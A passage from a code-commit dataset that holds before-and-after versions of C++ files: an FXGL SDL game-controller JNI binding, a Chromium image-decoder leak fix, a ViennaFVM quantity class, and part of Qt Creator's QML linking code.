com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: isButtonPressed\n * Signature: (II)Z\n *\/\nJNIEXPORT jboolean JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_isButtonPressed\n(JNIEnv* env, jclass clazz, jint controller_id, jint button_id) {\n\n if (controller_id >= num_controllers) {\n return JNI_FALSE;\n }\n\n SDL_GameControllerButton btn = static_cast<SDL_GameControllerButton>(button_id);\n\n if (SDL_GameControllerGetButton(controllers[controller_id], btn)) {\n return JNI_TRUE;\n }\n\n return JNI_FALSE;\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: getAxis\n * Signature: (II)D\n *\/\nJNIEXPORT jdouble JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_getAxis\n(JNIEnv* env, jclass clazz, jint controller_id, jint axis_id) {\n\n if (controller_id >= num_controllers) {\n return 0.0;\n }\n\n SDL_GameControllerAxis axis = static_cast<SDL_GameControllerAxis>(axis_id);\n\n return (jdouble)SDL_GameControllerGetAxis(controllers[controller_id], axis);\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: disconnectControllers\n * Signature: ()V\n *\/\nJNIEXPORT void JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_disconnectControllers\n(JNIEnv* env, jclass clazz) {\n\n for (int i = 0; i < num_controllers; i++) {\n SDL_GameControllerClose(controllers[i]);\n }\n\n SDL_Quit();\n}<commit_msg>fixed not declared<commit_after>#include <iostream>\n\n#include \"SDL.h\"\n#include \"fxgl_controllerinput.h\"\n\nSDL_GameController* controllers[10];\nint num_controllers = 0;\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: getBackendVersion\n * Signature: ()I\n *\/\nJNIEXPORT jint JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_getBackendVersion\n(JNIEnv* env, jclass clazz) {\n\n SDL_version linked;\n\n SDL_GetVersion(&linked);\n\n return (int)linked.patch;\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: connectControllers\n * Signature: ()I\n *\/\nJNIEXPORT jint JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_connectControllers\n(JNIEnv* env, jclass clazz) {\n\n SDL_InitSubSystem(SDL_INIT_GAMECONTROLLER);\n\n for (int i = 0; i < SDL_NumJoysticks(); ++i) {\n if (SDL_IsGameController(i)) {\n SDL_GameController* controller = SDL_GameControllerOpen(i);\n if (controller) {\n controllers[num_controllers++] = controller;\n } else {\n \/\/ TODO: add a callback with SDL_GetError() to say failed to access game controller\n }\n }\n }\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: updateState\n * Signature: (I)V\n *\/\nJNIEXPORT void JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_updateState\n(JNIEnv* env, jclass clazz, jint controller_id) {\n\n SDL_GameControllerUpdate();\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: isButtonPressed\n * Signature: (II)Z\n *\/\nJNIEXPORT jboolean JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_isButtonPressed\n(JNIEnv* env, jclass clazz, jint controller_id, jint button_id) {\n\n if (controller_id >= num_controllers) {\n return JNI_FALSE;\n }\n\n SDL_GameControllerButton btn = static_cast<SDL_GameControllerButton>(button_id);\n\n if (SDL_GameControllerGetButton(controllers[controller_id], btn)) {\n return JNI_TRUE;\n }\n\n return JNI_FALSE;\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: getAxis\n * Signature: (II)D\n *\/\nJNIEXPORT jdouble JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_getAxis\n(JNIEnv* env, jclass clazz, jint controller_id, jint axis_id) {\n\n if (controller_id >= num_controllers) {\n return 0.0;\n }\n\n SDL_GameControllerAxis axis = static_cast<SDL_GameControllerAxis>(axis_id);\n\n return (jdouble)SDL_GameControllerGetAxis(controllers[controller_id], axis);\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: disconnectControllers\n * Signature: ()V\n *\/\nJNIEXPORT void JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_disconnectControllers\n(JNIEnv* env, jclass clazz) {\n\n for (int i = 0; i < num_controllers; i++) {\n SDL_GameControllerClose(controllers[i]);\n }\n\n SDL_Quit();\n}<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"config.h\"\n#include \"webkit\/glue\/image_decoder.h\"\n\n#include \"base\/compiler_specific.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n\nMSVC_PUSH_WARNING_LEVEL(0);\n#if defined(OS_WIN) || defined(OS_LINUX)\n#include \"ImageSourceSkia.h\"\n#elif defined(OS_MACOSX)\n#include \"ImageSource.h\"\n#include \"RetainPtr.h\"\n#endif\n#include \"IntSize.h\"\n#include \"RefPtr.h\"\n#include \"SharedBuffer.h\"\nMSVC_POP_WARNING();\n\nnamespace webkit_glue {\n\nImageDecoder::ImageDecoder() : desired_icon_size_(0, 0) {\n}\n\nImageDecoder::ImageDecoder(const gfx::Size& desired_icon_size)\n : desired_icon_size_(desired_icon_size) {\n}\n\nImageDecoder::~ImageDecoder() {\n}\n\nSkBitmap ImageDecoder::Decode(const unsigned char* data, size_t size) const {\n\n \/\/ What's going on here? ImageDecoder is only used by ImageResourceFetcher,\n \/\/ which is only used (but extensively) by WebViewImpl. On the Mac we're using\n \/\/ CoreGraphics, but right now WebViewImpl uses SkBitmaps everywhere. For now,\n \/\/ this is a convenient bottleneck to convert from CGImageRefs to SkBitmaps,\n \/\/ but in the future we will need to replumb to get CGImageRefs (or whatever\n \/\/ the native type is) everywhere, directly.\n\n#if defined(OS_WIN) || defined(OS_LINUX)\n WebCore::ImageSourceSkia source;\n#elif defined(OS_MACOSX)\n WebCore::ImageSource source;\n#endif\n WTF::RefPtr<WebCore::SharedBuffer> buffer(WebCore::SharedBuffer::create(\n data, static_cast<int>(size)));\n#if defined(OS_WIN) || defined(OS_LINUX)\n source.setData(buffer.get(), true,\n WebCore::IntSize(desired_icon_size_.width(),\n desired_icon_size_.height()));\n#elif defined(OS_MACOSX)\n source.setData(buffer.get(), true);\n#endif\n\n if (!source.isSizeAvailable())\n return SkBitmap();\n\n WebCore::NativeImagePtr frame0 = source.createFrameAtIndex(0);\n if (!frame0)\n return SkBitmap();\n\n#if defined(OS_WIN) || defined(OS_LINUX)\n return *reinterpret_cast<SkBitmap*>(frame0);\n#elif defined(OS_MACOSX)\n \/\/ BitmapImage releases automatically, but we're bypassing it so we'll need\n \/\/ to do the releasing.\n RetainPtr<CGImageRef> image(AdoptCF, frame0);\n\n SkBitmap result;\n result.setConfig(SkBitmap::kARGB_8888_Config, CGImageGetWidth(image.get()),\n CGImageGetHeight(image.get()));\n\n \/\/ TODO(port):\n \/\/ This line is a waste, but is needed when the renderer sends a\n \/\/ ViewHostMsg_DidDownloadImage and tries to pickle the SkBitmap.\n \/\/ Presumably this will be removed when we (ImageDecoder::Decode())\n \/\/ are changed to not return a fake SkBitmap.\n result.allocPixels();\n\n RetainPtr<CGColorSpace> cg_color(AdoptCF, CGColorSpaceCreateDeviceRGB());\n \/\/ The last parameter is a total guess. Feel free to adjust it if images draw\n \/\/ incorrectly. TODO(avi): Verify byte ordering; it should be possible to\n \/\/ swizzle bytes with various combinations of the byte order and alpha\n \/\/ constants.\n RetainPtr<CGContextRef> context(AdoptCF, CGBitmapContextCreate(\n result.getPixels(),\n result.width(),\n result.height(),\n result.bytesPerPixel() * 8 \/ 4,\n result.rowBytes(),\n cg_color.get(),\n kCGImageAlphaPremultipliedFirst |\n kCGBitmapByteOrder32Host));\n CGRect rect = CGRectMake(0, 0,\n CGImageGetWidth(image.get()),\n CGImageGetHeight(image.get()));\n CGContextDrawImage(context.get(), rect, image.get());\n\n return result;\n#endif\n}\n\n} \/\/ namespace webkit_glue\n<commit_msg>Fix a leak in ImageDecoder::Decode.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"config.h\"\n#include \"webkit\/glue\/image_decoder.h\"\n\n#include \"base\/compiler_specific.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n\nMSVC_PUSH_WARNING_LEVEL(0);\n#if defined(OS_WIN) || defined(OS_LINUX)\n#include \"ImageSourceSkia.h\"\n#include \"NativeImageSkia.h\"\n#elif defined(OS_MACOSX)\n#include \"ImageSource.h\"\n#include \"RetainPtr.h\"\n#endif\n#include \"IntSize.h\"\n#include \"RefPtr.h\"\n#include \"SharedBuffer.h\"\nMSVC_POP_WARNING();\n\nnamespace webkit_glue {\n\nImageDecoder::ImageDecoder() : desired_icon_size_(0, 0) {\n}\n\nImageDecoder::ImageDecoder(const gfx::Size& desired_icon_size)\n : desired_icon_size_(desired_icon_size) {\n}\n\nImageDecoder::~ImageDecoder() {\n}\n\nSkBitmap ImageDecoder::Decode(const unsigned char* data, size_t size) const {\n\n \/\/ What's going on here? ImageDecoder is only used by ImageResourceFetcher,\n \/\/ which is only used (but extensively) by WebViewImpl. On the Mac we're using\n \/\/ CoreGraphics, but right now WebViewImpl uses SkBitmaps everywhere. For now,\n \/\/ this is a convenient bottleneck to convert from CGImageRefs to SkBitmaps,\n \/\/ but in the future we will need to replumb to get CGImageRefs (or whatever\n \/\/ the native type is) everywhere, directly.\n\n#if defined(OS_WIN) || defined(OS_LINUX)\n WebCore::ImageSourceSkia source;\n#elif defined(OS_MACOSX)\n WebCore::ImageSource source;\n#endif\n WTF::RefPtr<WebCore::SharedBuffer> buffer(WebCore::SharedBuffer::create(\n data, static_cast<int>(size)));\n#if defined(OS_WIN) || defined(OS_LINUX)\n source.setData(buffer.get(), true,\n WebCore::IntSize(desired_icon_size_.width(),\n desired_icon_size_.height()));\n#elif defined(OS_MACOSX)\n source.setData(buffer.get(), true);\n#endif\n\n if (!source.isSizeAvailable())\n return SkBitmap();\n\n WebCore::NativeImagePtr frame0 = source.createFrameAtIndex(0);\n if (!frame0)\n return SkBitmap();\n\n#if defined(OS_WIN) || defined(OS_LINUX)\n SkBitmap retval = *reinterpret_cast<SkBitmap*>(frame0);\n delete frame0;\n return retval;\n#elif defined(OS_MACOSX)\n \/\/ TODO(port): should we delete frame0 like Linux\/Windows do above?\n \/\/ BitmapImage releases automatically, but we're bypassing it so we'll need\n \/\/ to do the releasing.\n RetainPtr<CGImageRef> image(AdoptCF, frame0);\n\n SkBitmap result;\n result.setConfig(SkBitmap::kARGB_8888_Config, CGImageGetWidth(image.get()),\n CGImageGetHeight(image.get()));\n\n \/\/ TODO(port):\n \/\/ This line is a waste, but is needed when the renderer sends a\n \/\/ ViewHostMsg_DidDownloadImage and tries to pickle the SkBitmap.\n \/\/ Presumably this will be removed when we (ImageDecoder::Decode())\n \/\/ are changed to not return a fake SkBitmap.\n result.allocPixels();\n\n RetainPtr<CGColorSpace> cg_color(AdoptCF, CGColorSpaceCreateDeviceRGB());\n \/\/ The last parameter is a total guess. Feel free to adjust it if images draw\n \/\/ incorrectly. TODO(avi): Verify byte ordering; it should be possible to\n \/\/ swizzle bytes with various combinations of the byte order and alpha\n \/\/ constants.\n RetainPtr<CGContextRef> context(AdoptCF, CGBitmapContextCreate(\n result.getPixels(),\n result.width(),\n result.height(),\n result.bytesPerPixel() * 8 \/ 4,\n result.rowBytes(),\n cg_color.get(),\n kCGImageAlphaPremultipliedFirst |\n kCGBitmapByteOrder32Host));\n CGRect rect = CGRectMake(0, 0,\n CGImageGetWidth(image.get()),\n CGImageGetHeight(image.get()));\n CGContextDrawImage(context.get(), rect, image.get());\n\n return result;\n#endif\n}\n\n} \/\/ namespace webkit_glue\n<|endoftext|>"} {"text":"<commit_before>#ifndef VIENNAFVM_QUANTITY_HPP\n#define VIENNAFVM_QUANTITY_HPP\n\n\/* =======================================================================\n Copyright (c) 2011, Institute for Microelectronics, TU Wien\n http:\/\/www.iue.tuwien.ac.at\n -----------------\n ViennaFVM - The Vienna Finite Volume Method Library\n -----------------\n\n authors: Karl Rupp rupp@iue.tuwien.ac.at\n (add your name here)\n\n license: To be discussed, see file LICENSE in the ViennaFVM base directory\n======================================================================= *\/\n\n#include \"viennafvm\/forwards.h\"\n\n#include \"viennamath\/forwards.h\"\n#include \"viennamath\/manipulation\/substitute.hpp\"\n#include \"viennamath\/expression.hpp\"\n\n#include \"viennagrid\/forwards.hpp\"\n#include \"viennagrid\/mesh\/segmentation.hpp\"\n\n\/** @file quantity.hpp\n @brief Defines the basic quantity which may be entirely known or unknown (with suitable boundary conditions) over a mesh\n*\/\n\nnamespace viennafvm\n{\n namespace traits {\n \n template<typename EleT>\n inline std::size_t id(EleT const& elem) \n { \n return elem.id().get(); \n }\n \n } \/\/ traits\n\n\n template<typename AssociatedT, typename ValueT = double>\n class quantity\n {\n public:\n typedef ValueT value_type;\n typedef AssociatedT associated_type;\n\n quantity() {} \/\/ to fulfill default constructible concept!\n\n quantity(std::size_t id, \n std::string const & quan_name,\n std::size_t num_values,\n value_type default_value = value_type())\n : id_(id), \n name_(quan_name),\n values_ (num_values, default_value),\n boundary_types_ (num_values, BOUNDARY_NONE),\n boundary_values_ (num_values, default_value),\n unknown_mask_ (num_values, false),\n unknowns_indices_(num_values, -1)\n {}\n\n std::string get_name() const { return name_; }\n\n ValueT get_value(associated_type const & elem) const { return values_.at(viennafvm::traits::id(elem)); }\n void set_value(associated_type const & elem, ValueT value) { values_.at(viennafvm::traits::id(elem)) = value; }\n\n \/\/ Dirichlet and Neumann\n ValueT get_boundary_value(associated_type const & elem) const { return boundary_values_.at(viennafvm::traits::id(elem)); }\n void set_boundary_value(associated_type const & elem, ValueT value) { boundary_values_.at(viennafvm::traits::id(elem)) = value; }\n\n boundary_type_id get_boundary_type(associated_type const & elem) const { return boundary_types_.at(viennafvm::traits::id(elem)); }\n void set_boundary_type(associated_type const & elem, boundary_type_id value) { boundary_types_.at(viennafvm::traits::id(elem)) = value; }\n\n bool get_unknown_mask(associated_type const & elem) const { return unknown_mask_.at(viennafvm::traits::id(elem)); }\n void set_unknown_mask(associated_type const & elem, bool value) { unknown_mask_.at(viennafvm::traits::id(elem)) = value; }\n\n long get_unknown_index(associated_type const & elem) const { return unknowns_indices_.at(viennafvm::traits::id(elem)); }\n void set_unknown_index(associated_type const & elem, long value) { unknowns_indices_.at(viennafvm::traits::id(elem)) = value; }\n\n std::size_t get_unknown_num() const\n {\n std::size_t num = 0;\n for (std::size_t i=0; i<unknowns_indices_.size(); ++i)\n {\n if (unknowns_indices_[i] >= 0)\n ++num;\n }\n return num;\n }\n\n \/\/ possible design flaws:\n std::vector<ValueT> const & values() const { return values_; }\n\n std::size_t const& id () const { return id_; }\n void set_id(std::size_t id) { id_ = id; }\n\n private:\n\/\/ std::size_t id(associated_type const elem) const { return elem.id().get(); }\n\n std::size_t id_;\n std::string name_;\n std::vector<ValueT> values_;\n std::vector<boundary_type_id> boundary_types_;\n std::vector<ValueT> boundary_values_;\n std::vector<bool> unknown_mask_;\n std::vector<long> unknowns_indices_;\n };\n}\n\n\n#endif\n<commit_msg>@Quantity class: added 'are_entries_zero()' and 'get_sum()' methods<commit_after>#ifndef VIENNAFVM_QUANTITY_HPP\n#define VIENNAFVM_QUANTITY_HPP\n\n\/* =======================================================================\n Copyright (c) 2011, Institute for Microelectronics, TU Wien\n http:\/\/www.iue.tuwien.ac.at\n -----------------\n ViennaFVM - The Vienna Finite Volume Method Library\n -----------------\n\n authors: Karl Rupp rupp@iue.tuwien.ac.at\n (add your name here)\n\n license: To be discussed, see file LICENSE in the ViennaFVM base directory\n======================================================================= *\/\n\n#include <numeric>\n\n#include \"viennafvm\/forwards.h\"\n\n#include \"viennamath\/forwards.h\"\n#include \"viennamath\/manipulation\/substitute.hpp\"\n#include \"viennamath\/expression.hpp\"\n\n#include \"viennagrid\/forwards.hpp\"\n#include \"viennagrid\/mesh\/segmentation.hpp\"\n\n\/** @file quantity.hpp\n @brief Defines the basic quantity which may be entirely known or unknown (with suitable boundary conditions) over a mesh\n*\/\n\nnamespace viennafvm\n{\n namespace traits {\n \n template<typename EleT>\n inline std::size_t id(EleT const& elem) \n { \n return elem.id().get(); \n }\n \n } \/\/ traits\n\n\n template<typename AssociatedT, typename ValueT = double>\n class quantity\n {\n public:\n typedef ValueT value_type;\n typedef AssociatedT associated_type;\n\n quantity() {} \/\/ to fulfill default constructible concept!\n\n quantity(std::size_t id, \n std::string const & quan_name,\n std::size_t num_values,\n value_type default_value = value_type())\n : id_(id), \n name_(quan_name),\n values_ (num_values, default_value),\n boundary_types_ (num_values, BOUNDARY_NONE),\n boundary_values_ (num_values, default_value),\n unknown_mask_ (num_values, false),\n unknowns_indices_(num_values, -1)\n {}\n\n std::string get_name() const { return name_; }\n\n ValueT get_value(associated_type const & elem) const { return values_.at(viennafvm::traits::id(elem)); }\n void set_value(associated_type const & elem, ValueT value) { values_.at(viennafvm::traits::id(elem)) = value; }\n\n \/\/ Dirichlet and Neumann\n ValueT get_boundary_value(associated_type const & elem) const { return boundary_values_.at(viennafvm::traits::id(elem)); }\n void set_boundary_value(associated_type const & elem, ValueT value) { boundary_values_.at(viennafvm::traits::id(elem)) = value; }\n\n boundary_type_id get_boundary_type(associated_type const & elem) const { return boundary_types_.at(viennafvm::traits::id(elem)); }\n void set_boundary_type(associated_type const & elem, boundary_type_id value) { boundary_types_.at(viennafvm::traits::id(elem)) = value; }\n\n bool get_unknown_mask(associated_type const & elem) const { return unknown_mask_.at(viennafvm::traits::id(elem)); }\n void set_unknown_mask(associated_type const & elem, bool value) { unknown_mask_.at(viennafvm::traits::id(elem)) = value; }\n\n long get_unknown_index(associated_type const & elem) const { return unknowns_indices_.at(viennafvm::traits::id(elem)); }\n void set_unknown_index(associated_type const & elem, long value) { unknowns_indices_.at(viennafvm::traits::id(elem)) = value; }\n\n std::size_t get_unknown_num() const\n {\n std::size_t num = 0;\n for (std::size_t i=0; i<unknowns_indices_.size(); ++i)\n {\n if (unknowns_indices_[i] >= 0)\n ++num;\n }\n return num;\n }\n\n bool are_entries_zero()\n {\n if( std::fabs(this->get_sum()) < 1.0E-20 ) return true;\n else return false;\n }\n\n value_type get_sum()\n {\n return std::accumulate(values_.begin(), values_.end(), 0.0);\n }\n\n \/\/ possible design flaws:\n std::vector<ValueT> const & values() const { return values_; }\n\n std::size_t const& id () const { return id_; }\n void set_id(std::size_t id) { id_ = id; }\n\n private:\n\/\/ std::size_t id(associated_type const elem) const { return elem.id().get(); }\n\n std::size_t id_;\n std::string name_;\n std::vector<ValueT> values_;\n std::vector<boundary_type_id> boundary_types_;\n std::vector<ValueT> boundary_values_;\n std::vector<bool> unknown_mask_;\n std::vector<long> unknowns_indices_;\n };\n}\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"qmljslink.h\"\n\n#include \"parser\/qmljsast_p.h\"\n#include \"qmljsdocument.h\"\n#include \"qmljsbind.h\"\n\n#include <QtCore\/QFileInfo>\n#include <QtCore\/QDir>\n#include <QtCore\/QDebug>\n\nusing namespace QmlJS;\nusing namespace QmlJS::Interpreter;\nusing namespace QmlJS::AST;\n\nLink::Link(Context *context, Document::Ptr currentDoc, const Snapshot &snapshot)\n : _snapshot(snapshot)\n , _context(context)\n{\n _docs = reachableDocuments(currentDoc, snapshot);\n linkImports();\n}\n\nLink::~Link()\n{\n}\n\nInterpreter::Engine *Link::engine()\n{\n return _context->engine();\n}\n\nvoid Link::scopeChainAt(Document::Ptr doc, Node *currentObject)\n{\n \/\/ ### TODO: This object ought to contain the global namespace additions by QML.\n _context->pushScope(engine()->globalObject());\n\n if (! doc)\n return;\n\n Bind *bind = doc->bind();\n QStringList linkedDocs; \/\/ to prevent cycles\n\n if (doc->qmlProgram()) {\n _context->setLookupMode(Context::QmlLookup);\n\n ObjectValue *scopeObject = 0;\n if (UiObjectDefinition *definition = cast<UiObjectDefinition *>(currentObject))\n scopeObject = bind->findQmlObject(definition);\n else if (UiObjectBinding *binding = cast<UiObjectBinding *>(currentObject))\n scopeObject = bind->findQmlObject(binding);\n\n pushScopeChainForComponent(doc, &linkedDocs, scopeObject);\n\n if (const ObjectValue *typeEnvironment = _context->typeEnvironment(doc.data()))\n _context->pushScope(typeEnvironment);\n } else {\n \/\/ add scope chains for all components that source this document\n foreach (Document::Ptr otherDoc, _docs) {\n if (otherDoc->bind()->includedScripts().contains(doc->fileName()))\n pushScopeChainForComponent(otherDoc, &linkedDocs);\n }\n\n \/\/ ### TODO: Which type environment do scripts see?\n\n _context->pushScope(bind->rootObjectValue());\n }\n\n if (FunctionDeclaration *fun = cast<FunctionDeclaration *>(currentObject)) {\n ObjectValue *activation = engine()->newObject(\/*prototype = *\/ 0);\n for (FormalParameterList *it = fun->formals; it; it = it->next) {\n if (it->name)\n activation->setProperty(it->name->asString(), engine()->undefinedValue());\n }\n _context->pushScope(activation);\n }\n}\n\nvoid Link::pushScopeChainForComponent(Document::Ptr doc, QStringList *linkedDocs,\n ObjectValue *scopeObject)\n{\n if (!doc->qmlProgram())\n return;\n\n linkedDocs->append(doc->fileName());\n\n Bind *bind = doc->bind();\n\n \/\/ add scopes for all components instantiating this one\n foreach (Document::Ptr otherDoc, _docs) {\n if (linkedDocs->contains(otherDoc->fileName()))\n continue;\n\n if (otherDoc->bind()->usesQmlPrototype(bind->rootObjectValue(), _context)) {\n \/\/ ### TODO: Depth-first insertion doesn't give us correct name shadowing.\n pushScopeChainForComponent(otherDoc, linkedDocs);\n }\n }\n\n if (bind->rootObjectValue())\n _context->pushScope(bind->rootObjectValue());\n\n if (scopeObject && scopeObject != bind->rootObjectValue())\n _context->pushScope(scopeObject);\n\n const QStringList &includedScripts = bind->includedScripts();\n for (int index = includedScripts.size() - 1; index != -1; --index) {\n const QString &scriptFile = includedScripts.at(index);\n\n if (Document::Ptr scriptDoc = _snapshot.document(scriptFile)) {\n if (scriptDoc->jsProgram()) {\n _context->pushScope(scriptDoc->bind()->rootObjectValue());\n }\n }\n }\n\n _context->pushScope(bind->functionEnvironment());\n _context->pushScope(bind->idEnvironment());\n}\n\nvoid Link::linkImports()\n{\n foreach (Document::Ptr doc, _docs) {\n ObjectValue *typeEnv = engine()->newObject(\/*prototype =*\/0); \/\/ ### FIXME\n\n \/\/ Populate the _typeEnvironment with imports.\n populateImportedTypes(typeEnv, doc);\n\n _context->setTypeEnvironment(doc.data(), typeEnv);\n }\n}\n\nstatic QString componentName(const QString &fileName)\n{\n QString componentName = fileName;\n int dotIndex = componentName.indexOf(QLatin1Char('.'));\n if (dotIndex != -1)\n componentName.truncate(dotIndex);\n componentName[0] = componentName[0].toUpper();\n return componentName;\n}\n\nvoid Link::populateImportedTypes(Interpreter::ObjectValue *typeEnv, Document::Ptr doc)\n{\n if (! (doc->qmlProgram() && doc->qmlProgram()->imports))\n return;\n\n QFileInfo fileInfo(doc->fileName());\n const QString absolutePath = fileInfo.absolutePath();\n\n \/\/ implicit imports:\n \/\/ qml files in the same directory are available without explicit imports\n foreach (Document::Ptr otherDoc, _docs) {\n if (otherDoc == doc)\n continue;\n\n QFileInfo otherFileInfo(otherDoc->fileName());\n const QString otherAbsolutePath = otherFileInfo.absolutePath();\n\n if (otherAbsolutePath != absolutePath)\n continue;\n\n typeEnv->setProperty(componentName(otherFileInfo.fileName()),\n otherDoc->bind()->rootObjectValue());\n }\n\n \/\/ explicit imports, whether directories or files\n for (UiImportList *it = doc->qmlProgram()->imports; it; it = it->next) {\n if (! it->import)\n continue;\n\n if (it->import->fileName) {\n importFile(typeEnv, doc, it->import, absolutePath);\n } else if (it->import->importUri) {\n importNonFile(typeEnv, doc, it->import);\n }\n }\n}\n\n\/*\n import \"content\"\n import \"content\" as Xxx\n import \"content\" 4.6\n import \"content\" 4.6 as Xxx\n\n import \"http:\/\/www.ovi.com\/\" as Ovi\n*\/\nvoid Link::importFile(Interpreter::ObjectValue *typeEnv, Document::Ptr doc,\n AST::UiImport *import, const QString &startPath)\n{\n Q_UNUSED(doc)\n\n if (!import->fileName)\n return;\n\n QString path = startPath;\n path += QLatin1Char('\/');\n path += import->fileName->asString();\n path = QDir::cleanPath(path);\n\n ObjectValue *importNamespace = 0;\n\n foreach (Document::Ptr otherDoc, _docs) {\n QFileInfo otherFileInfo(otherDoc->fileName());\n const QString otherAbsolutePath = otherFileInfo.absolutePath();\n\n bool directoryImport = (path == otherAbsolutePath);\n bool fileImport = (path == otherDoc->fileName());\n if (!directoryImport && !fileImport)\n continue;\n\n if (directoryImport && import->importId && !importNamespace) {\n importNamespace = engine()->newObject(\/*prototype =*\/0);\n typeEnv->setProperty(import->importId->asString(), importNamespace);\n }\n\n QString targetName;\n if (fileImport && import->importId) {\n targetName = import->importId->asString();\n } else {\n targetName = componentName(otherFileInfo.fileName());\n }\n\n ObjectValue *importInto = typeEnv;\n if (importNamespace)\n importInto = importNamespace;\n\n importInto->setProperty(targetName, otherDoc->bind()->rootObjectValue());\n }\n}\n\n\/*\n import Qt 4.6\n import Qt 4.6 as Xxx\n (import com.nokia.qt is the same as the ones above)\n*\/\nvoid Link::importNonFile(Interpreter::ObjectValue *typeEnv, Document::Ptr doc, AST::UiImport *import)\n{\n ObjectValue *namespaceObject = 0;\n\n if (import->importId) { \/\/ with namespace we insert an object in the type env. to hold the imported types\n namespaceObject = engine()->newObject(\/*prototype *\/ 0);\n typeEnv->setProperty(import->importId->asString(), namespaceObject);\n\n } else { \/\/ without namespace we insert all types directly into the type env.\n namespaceObject = typeEnv;\n }\n\n \/\/ try the metaobject system\n if (import->importUri) {\n const QString package = Bind::toString(import->importUri, '\/');\n int majorVersion = -1; \/\/ ### TODO: Check these magic version numbers\n int minorVersion = -1; \/\/ ### TODO: Check these magic version numbers\n\n if (import->versionToken.isValid()) {\n const QString versionString = doc->source().mid(import->versionToken.offset, import->versionToken.length);\n const int dotIdx = versionString.indexOf(QLatin1Char('.'));\n if (dotIdx == -1) {\n \/\/ only major (which is probably invalid, but let's handle it anyway)\n majorVersion = versionString.toInt();\n minorVersion = 0; \/\/ ### TODO: Check with magic version numbers above\n } else {\n majorVersion = versionString.left(dotIdx).toInt();\n minorVersion = versionString.mid(dotIdx + 1).toInt();\n }\n }\n#ifndef NO_DECLARATIVE_BACKEND\n foreach (QmlObjectValue *object, engine()->metaTypeSystem().staticTypesForImport(package, majorVersion, minorVersion)) {\n namespaceObject->setProperty(object->qmlTypeName(), object);\n }\n#endif \/\/ NO_DECLARATIVE_BACKEND\n }\n}\n\nUiQualifiedId *Link::qualifiedTypeNameId(Node *node)\n{\n if (UiObjectBinding *binding = AST::cast<UiObjectBinding *>(node))\n return binding->qualifiedTypeNameId;\n else if (UiObjectDefinition *binding = AST::cast<UiObjectDefinition *>(node))\n return binding->qualifiedTypeNameId;\n else\n return 0;\n}\n\nstatic uint qHash(Document::Ptr doc) {\n return qHash(doc.data());\n}\n\nQList<Document::Ptr> Link::reachableDocuments(Document::Ptr startDoc, const Snapshot &snapshot)\n{\n QSet<Document::Ptr> docs;\n\n if (! startDoc)\n return docs.values();\n\n QMultiHash<QString, Document::Ptr> documentByPath;\n foreach (Document::Ptr doc, snapshot)\n documentByPath.insert(doc->path(), doc);\n\n \/\/ ### TODO: This doesn't scale well. Maybe just use the whole snapshot?\n \/\/ Find all documents that (indirectly) include startDoc\n {\n QList<Document::Ptr> todo;\n todo += startDoc;\n\n while (! todo.isEmpty()) {\n Document::Ptr doc = todo.takeFirst();\n\n docs += doc;\n\n Snapshot::const_iterator it, end = snapshot.end();\n for (it = snapshot.begin(); it != end; ++it) {\n Document::Ptr otherDoc = *it;\n if (docs.contains(otherDoc))\n continue;\n\n QStringList localImports = otherDoc->bind()->localImports();\n if (localImports.contains(doc->fileName())\n || localImports.contains(doc->path())\n || otherDoc->bind()->includedScripts().contains(doc->fileName())\n ) {\n todo += otherDoc;\n }\n }\n }\n }\n\n \/\/ Find all documents that are included by these (even if indirectly).\n {\n QSet<QString> processed;\n QStringList todo;\n foreach (Document::Ptr doc, docs)\n todo.append(doc->fileName());\n\n while (! todo.isEmpty()) {\n QString path = todo.takeFirst();\n\n if (processed.contains(path))\n continue;\n processed.insert(path);\n\n if (Document::Ptr doc = snapshot.document(path)) {\n docs += doc;\n\n if (doc->qmlProgram())\n path = doc->path();\n else\n continue;\n }\n\n QStringList localImports;\n foreach (Document::Ptr doc, documentByPath.values(path)) {\n if (doc->qmlProgram()) {\n docs += doc;\n localImports += doc->bind()->localImports();\n localImports += doc->bind()->includedScripts();\n }\n }\n\n localImports.removeDuplicates();\n todo += localImports;\n }\n }\n\n return docs.values();\n}\n<commit_msg>Remove the lookup into including Qml files in the root scope of a JS file.<commit_after>#include \"qmljslink.h\"\n\n#include \"parser\/qmljsast_p.h\"\n#include \"qmljsdocument.h\"\n#include \"qmljsbind.h\"\n\n#include <QtCore\/QFileInfo>\n#include <QtCore\/QDir>\n#include <QtCore\/QDebug>\n\nusing namespace QmlJS;\nusing namespace QmlJS::Interpreter;\nusing namespace QmlJS::AST;\n\nLink::Link(Context *context, Document::Ptr currentDoc, const Snapshot &snapshot)\n : _snapshot(snapshot)\n , _context(context)\n{\n _docs = reachableDocuments(currentDoc, snapshot);\n 